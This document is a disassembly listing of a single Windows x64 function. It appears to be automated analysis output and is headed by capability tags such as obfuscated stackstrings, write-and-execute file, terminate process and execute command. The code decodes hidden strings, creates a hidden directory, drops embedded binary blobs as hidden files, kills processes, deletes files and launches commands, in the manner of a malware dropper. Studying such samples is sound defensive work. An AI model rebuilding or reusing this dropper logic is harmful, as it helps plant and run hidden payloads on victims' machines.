Function at 0x140081cb0
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete file
Execute command
Move file
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x388]
sub rsp, 0x480
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x1402f3010]
xor rax, rsp
mov qword [rbp + 0x370], rax
call fcn.14007f250
mov dword [rbp - 0x18], 0x5b285958
mov word [rbp - 0x14], 0x100
lea rcx, [rbp - 0x18]
call fcn.14007e100
lea r8, [0x1406afdc0]
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0xd0]
call fcn.14007e390
cmp qword [rax + 0x18], 0x10
jb 0x140081d27
mov rax, qword [rax]
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r14 + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1406b2a50], rax
lea rcx, [rbp + 0xd0]
call fcn.14007b540
nop
cmp qword [0x1406b2a50], 0xffffffffffffffff
jne 0x140082aa6
lea rsi, [r14 - 1]
cmp byte [0x1406b2a38], r14b
jne 0x140081e73
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xb
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 5]
lea rcx, [rsp + 0x40]
call fcn.140081900
mov rdx, rax
lea rcx, [0x1406afea0]
call fcn.14007d2a0
nop
lea rcx, [rsp + 0x40]
call fcn.14007b540
nop
mov dword [rsp + 0x40], 0x627e602a
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007e100
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140081df5
lea rdx, [rsp + 0x40]
lea rcx, [0x1406afea0]
call fcn.14007c6c0
lea rbx, [0x1406afea0]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rbx, qword [0x1406afea0]
mov r8d, 0x104
lea rdx, [rbp + 0x150]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x40]
call fcn.14007b5a0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
nop
lea rcx, [rsp + 0x40]
call fcn.14007b540
nop
mov dword [rsp + 0x40], 0x6c5b4244
mov dword [rsp + 0x44], 0x6e657d78
mov dword [rsp + 0x48], 0x6975216b
mov word [rsp + 0x4c], 0x77
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.1400852e0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b5a0
mov rcx, rax
call fcn.14007f370
test eax, eax
je 0x140081f71
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140081c40
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1402d6b80]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402d6c40]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [str.JBQL_nB__rZ___Se]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402d6b10]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402d6b40]
movdqa xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x30], 0x78
mov byte [rbp - 0x2e], 1
lea rcx, [rbp - 0x80]
call fcn.140084f40
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.14007ca80
lea rdx, [0x14007cc50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x40], 0x7a7d6676
mov word [rsp + 0x44], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x46], 1
lea rcx, [rsp + 0x40]
call fcn.140085190
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor al, al
jmp 0x140082aa8
movdqa xmm0, xmmword [0x1402d6d10]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x52], 1
lea rcx, [rsp + 0x40]
call fcn.140085250
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b5a0
mov rcx, rax
call fcn.14007f370
test eax, eax
je 0x140082022
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140081c40
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1402d6b70]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402d6cb0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402d6c90]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402d6b30]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402d6bd0]
movdqa xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x3c3c3639
mov dword [rbp - 0x2c], 0x1007528
lea rcx, [rbp - 0x80]
call fcn.140084f10
lea rdx, [rbp - 0x80]
jmp 0x140081f29
mov dword [rsp + 0x40], 0x1003d45
lea rcx, [rsp + 0x40]
call fcn.140085030
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082040
lea rdx, [rsp + 0x40]
lea rdi, [0x1406af8e0]
mov rcx, rdi
call fcn.14007c6c0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, 0xa
call fcn.140081b00
movzx edx, al
lea rcx, [0x1406afa00]
call fcn.14007c520
call fcn.140081b00
movzx edx, al
lea rcx, [0x1406afe20]
call fcn.14007c520
call fcn.140081b00
movzx edx, al
lea rcx, [0x1406af6c0]
call fcn.14007c520
call fcn.140081b00
movzx edx, al
lea rcx, [0x1406af6a0]
call fcn.14007c520
call fcn.140081b00
movzx edx, al
lea rcx, [0x1406af7c0]
call fcn.14007c520
call fcn.140081b00
movzx edx, al
lea rcx, [0x1406afc00]
call fcn.14007c520
call fcn.140081b00
movzx edx, al
lea rcx, [0x1406afbc0]
call fcn.14007c520
call fcn.140081b00
movzx edx, al
lea rcx, [0x1406afa20]
call fcn.14007c520
call fcn.140081b00
movzx edx, al
lea rcx, [0x1406afd40]
call fcn.14007c520
call fcn.140081b00
movzx edx, al
lea rcx, [0x1406af860]
call fcn.14007c520
call fcn.140081b00
movzx edx, al
lea rcx, [0x1406afd60]
call fcn.14007c520
sub rbx, 1
jne 0x140082074
lea rcx, [rbp + 0x110]
call fcn.14007d270
lea rcx, [rbp + 0x110]
call fcn.14007c500
nop
lea rcx, [rbp + 0x130]
call fcn.14007d270
lea rcx, [rbp + 0x130]
call fcn.14007c500
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2aaaaaab
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
add ecx, ecx
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 5]
lea rcx, [rsp + 0x60]
call fcn.140081900
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.14007d2a0
nop
lea rcx, [rsp + 0x60]
call fcn.14007b540
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 2]
lea rcx, [rsp + 0x60]
call fcn.140081a00
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14007d2a0
nop
lea rcx, [rsp + 0x60]
call fcn.14007b540
nop
mov word [rsp + 0x40], 0x5d
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b430
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082250
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14007c6c0
lea rdx, [rbp + 0x110]
mov rcx, rdi
call fcn.14007b520
lea rdx, [rbp + 0x130]
mov rcx, rdi
call fcn.14007b520
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x1406af8e0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x1406af8e0]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov word [rsp + 0x40], 0x5d
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b430
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400822e0
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14007c6c0
nop
lea rcx, [rbp + 0xf0]
call fcn.14007d270
lea rcx, [rbp + 0xf0]
call fcn.14007c500
nop
lea rdx, [0x1406afd60]
lea rcx, [rbp + 0xf0]
call fcn.14007b520
mov dword [rsp + 0x40], 0x747f762a
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007e100
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140082345
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xf0]
call fcn.14007c6c0
nop
lea rcx, [rbp + 0xb0]
call fcn.14007d270
lea rcx, [rbp + 0xb0]
call fcn.14007c500
nop
lea rdx, [0x1406afa00]
lea rcx, [rbp + 0xb0]
call fcn.14007b520
mov dword [rsp + 0x40], 0x627e602a
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007e100
lea rax, [rsp + 0x40]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400823b0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb0]
call fcn.14007c6c0
lea r8, [rbp + 0xf0]
mov rdx, rdi
lea rcx, [rbp + 0x10]
call fcn.140086250
nop
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea r8, [rbp + 0xb0]
mov rdx, rdi
lea rcx, [rbp - 0x10]
call fcn.140086250
nop
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x8bcecc31
imul r8d
add edx, r8d
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xea61
sub r8d, ecx
mov eax, r8d
cdq
mov edi, eax
xor edi, edx
sub edi, edx
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x18]
lea r8d, [rdi + 0x2e4a00]
lea rdx, [0x1403b0820]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x18]
mov r8d, 0x1a400
lea rdx, [0x140695220]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
lea rcx, [rbp + 0x30]
call fcn.14007d270
lea rcx, [rbp + 0x30]
call fcn.14007c500
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x30]
call fcn.14007b520
mov word [rsp + 0x40], reloc.WLDAP32.dll_Ordinal_33
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b430
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082580
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x30]
call fcn.14007c6c0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x30]
call fcn.14007b520
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
call fcn.14007ea30
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x60]
call fcn.14007b5e0
mov rcx, rax
call fcn.14007f370
mov rbx, rax
test eax, eax
je 0x140082621
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x50]
call fcn.14007d270
lea rcx, [rbp + 0x50]
call fcn.14007c500
nop
mov dword [rsp + 0x40], 0x60226273
mov dword [rsp + 0x44], 0x73676076
mov dword [rsp + 0x48], 0x100296d
lea rcx, [rsp + 0x40]
call fcn.14007b1b0
lea rax, [rsp + 0x40]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140082660
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007c6c0
lea rdx, [0x1406afdc0]
lea rcx, [rbp + 0x50]
call fcn.14007b520
mov dword [rsp + 0x40], 0x6d6b6320
mov dword [rsp + 0x44], 0x6f726474
mov dword [rsp + 0x48], 0x1002935
lea rcx, [rsp + 0x40]
call fcn.14007b1b0
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400826b2
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007c6c0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x50]
call fcn.14007b520
mov dword [rsp + 0x40], 0x79717326
mov dword [rsp + 0x44], 0x662c366f
mov dword [rsp + 0x48], 0x747e7d6b
mov word [rsp + 0x4c], 0x7e
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.1400852e0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082710
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007c6c0
mov dword [rsp + 0x40], 0x77236172
mov dword [rsp + 0x44], 0x28776971
mov dword [rsp + 0x48], 0x69686b6f
mov dword [rsp + 0x4c], 0x1007a64
lea rcx, [rsp + 0x40]
call fcn.14007b440
lea rcx, [rsp + 0x40]
call fcn.14007ea30
movdqa xmm0, xmmword [0x1402d6cc0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x100
lea rcx, [rsp + 0x40]
call fcn.140085340
lea rcx, [rsp + 0x40]
call fcn.14007ea30
mov dword [rsp + 0x40], 0x7a286475
mov dword [rsp + 0x44], 0x2d7c647e
mov dword [rsp + 0x48], 0x7b6878
mov byte [rsp + 0x4c], 1
lea rcx, [rsp + 0x40]
call fcn.1400851c0
lea rcx, [rsp + 0x40]
call fcn.14007ea30
mov dword [rsp + 0x40], 0x6d286475
mov dword [rsp + 0x44], 0x7969676f
mov dword [rsp + 0x48], 0x76662f6b
mov word [rsp + 0x4c], 0x79
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.1400852e0
lea rcx, [rsp + 0x40]
call fcn.14007ea30
nop
lea rcx, [rbp + 0x70]
call fcn.14007d270
lea rcx, [rbp + 0x70]
call fcn.14007c500
nop
mov dword [rsp + 0x40], 0x7a286475
mov dword [rsp + 0x44], 0x2d7c647e
mov word [rsp + 0x48], 0x100
lea rcx, [rsp + 0x40]
call fcn.140085310
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082830
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x70]
call fcn.14007c6c0
lea rdx, [0x1406afdc0]
lea rcx, [rbp + 0x70]
call fcn.14007b520
nop
lea rcx, [rbp + 0x90]
call fcn.14007d270
lea rcx, [rbp + 0x90]
call fcn.14007c500
nop
mov dword [rsp + 0x40], 0x67226273
mov dword [rsp + 0x44], 0x73636961
mov dword [rsp + 0x48], 0x100296d
lea rcx, [rsp + 0x40]
call fcn.14007b1b0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400828a0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x90]
call fcn.14007c6c0
lea rdx, [0x1406afdc0]
lea rcx, [rbp + 0x90]
call fcn.14007b520
nop
lea rcx, [rbp + 0xd0]
call fcn.14007d270
lea rcx, [rbp + 0xd0]
call fcn.14007c500
nop
mov dword [rsp + 0x40], 0x77236172
mov dword [rsp + 0x44], 0x7c756771
mov word [rsp + 0x48], reloc.WLDAP32.dll_Ordinal_41
mov byte [rsp + 0x4a], 1
lea rcx, [rsp + 0x40]
call fcn.14007b470
lea rax, [rsp + 0x40]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140082913
mov r8, rsi
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xd0]
call fcn.14007c6c0
lea rdx, [0x1406afdc0]
lea rcx, [rbp + 0xd0]
call fcn.14007b520
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rcx, qword [rbp + 0x70]
call fcn.14007ea30
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rcx, qword [rbp + 0x90]
call fcn.14007ea30
lea rcx, [rbp + 0x10]
call fcn.140081000
mov r8d, 0x104
lea rdx, [rbp + 0x260]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rbp + 0x260]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
inc rax
mov qword [0x1406b2a10], rax
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx eax, byte [0x1406b2a38]
cmp al, 1
jne 0x140082a48
mov rbx, qword [0x1406b2a10]
jmp 0x140082a5b
test al, al
jne 0x140082a92
lea rcx, [0x1406afea0]
call fcn.14007b510
mov rbx, rax
mov dword [rsp + 0x40], 0x6963756b
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007e0d0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov al, 1
mov rcx, qword [rbp + 0x370]
xor rcx, rsp
call fcn.140087b10
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret